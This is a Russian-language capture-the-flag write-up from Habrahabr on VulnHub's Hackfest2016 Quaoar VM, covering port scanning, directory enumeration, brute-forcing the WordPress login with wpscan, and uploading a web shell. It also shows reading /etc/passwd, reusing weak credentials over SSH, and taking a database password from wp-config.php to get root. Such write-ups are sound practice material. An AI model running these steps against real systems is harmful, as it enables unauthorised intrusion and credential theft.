VulnHub: Новая серия — hackfest2016 Quaoar

305c11696e0a48f9be2b40176fdb3131.jpg

Всем доброго времени суток. Давно я не выкладывал райтапы лаб с VulnHub. За это время там появилась небольшая подборка образов виртуальных машин, готовых для взлома. В этой статье начнём разбор образов подготовленных к недавно прошедшему Hackfest 2016 CTF, а именно рассмотрим Quaoar, скачать которую вы можете тут

Всего, как следует из описания, присутствует 3 флага:

1. Получение доступа к оболочке;
2. Повышение привилегий до root;
3. Постэксплуатация.

С более подробным описанием желающие могут ознакомиться самостоятельно, поэтому приступим.

Флаг 1


После запуска виртуалки, нам любезно сообщают IP-адрес, по которому она доступна:
14781590fc29446f88501d8ac8af7040.png

Поэтому сразу переходим к сканированию портов:

$ sudo nmap -p1-65535 192.168.1.75 -sV

Starting Nmap 7.01 (nmap.org) at 2017–04–16 16:26 MSK
Nmap scan report for 192.168.1.75
Host is up (0.00043s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.8.1-P1
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
110/tcp open pop3?
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3s?
MAC Address: 08:00:27:0A: CA:7B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel

В описании говорилось про поиск директорий. Ищем:
$ sudo dirsearch -u http://192.168.1.75/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403 -r -f

bbb5fb7a10fa457f8b322d73f27686be.png

Большая часть найденного это картинки в стиле этого:

Скрытый текст
9398c6aa9823463ab99c94c23bfc9904.jpg

В upload лежит какой-то сайт с захардкоженным ip’шником.
$ ./robotscan.py -u http://192.168.1.75/upload/ -w /opt/dirb/wordlists/big.txt -e php,txt,bak,html -x 403

8cbce985e0164a32a075b71bb58a3ff6.png

Менять ip мне лень, поэтому его пока оставим, а вот в директории wordpress полноценный блог. Плюс на него ссылается и файл robots.txt.
Посмотрим, что скажет wpscan:

$ sudo ./wpscan.rb --url http://192.168.1.75/wordpress/ --wordlist /usr/share/john/password.lst

e24f08b1f4264946a59a3995c11c9547.png

Wpscan нашёл верный пароль, хоть и сам этого не понял. Логинимся в админке, и заливаем туда простенький шелл:
7e94d3c89cff4aef925fa9dde87a634f.png

Первым делом посмотрим содержимое /etc/passwd
7ce73f7b0ca3422b9bf33aad38f84151.png

В домашней директории пользователя wpadmin, находим первый флаг:
b05d74964a12496080f010b15462793e.png

Флаг2


Раз от админки в wordpress пароль оказался таким же как логин, стоит попробовать тот же приём и для ssh:
$ ssh wpadmin@192.168.1.75

Указав в качестве пароля wpadmin, успешно проваливаемся в оболочку. Поиск SUID/SGID файлов результата не принёс. Посмотрев конфиги на наличие хоть каких-то паролей, находим один интересный:
wpadmin@Quaoar:~$ cat wp-config.php
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');

Это когфиг для коннекта к БД, но вдруг этот пароль ещё и от учётки… Проверяем это и +1 флаг в домашней директории рута:
root@Quaoar:~# cat flag.txt 
8e3f9ec016e3598c5eec11fd3d73f6fb

Флаг3


Если с первыми 2 мя флагами всё более менее ясно, то поиск третьего занял слишком много времени. Я пытался найти ещё файлы с названием flag
root@Quaoar:~# find / -name flag.txt
/root/flag.txt
/home/wpadmin/flag.txt
root@Quaoar:~# find / -name flag

Но ничего. Попытка поиска по содержимому по слову flag, так же не принесла результата:
root@Quaoar:~# grep -r flag / | less

В конечном счёте было решено, что раз флаг — это MD5 хеш, то его вероятно можно отыскать с помощью регулярных выражений. Сказано, сделано:
root@Quaoar:~# egrep -r " [a-z0-9]{32,32}" /etc/ 2>/dev/null
...
/etc/cron.d/php5:# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de

Конечно, логично было бы предварительно просмотреть задачи в cron, но альтернатива тоже хорошо.

На этом всё. Все 3 флага найдены. Можно приступать к следующему уровню.

Комментарии (0)

© Habrahabr.ru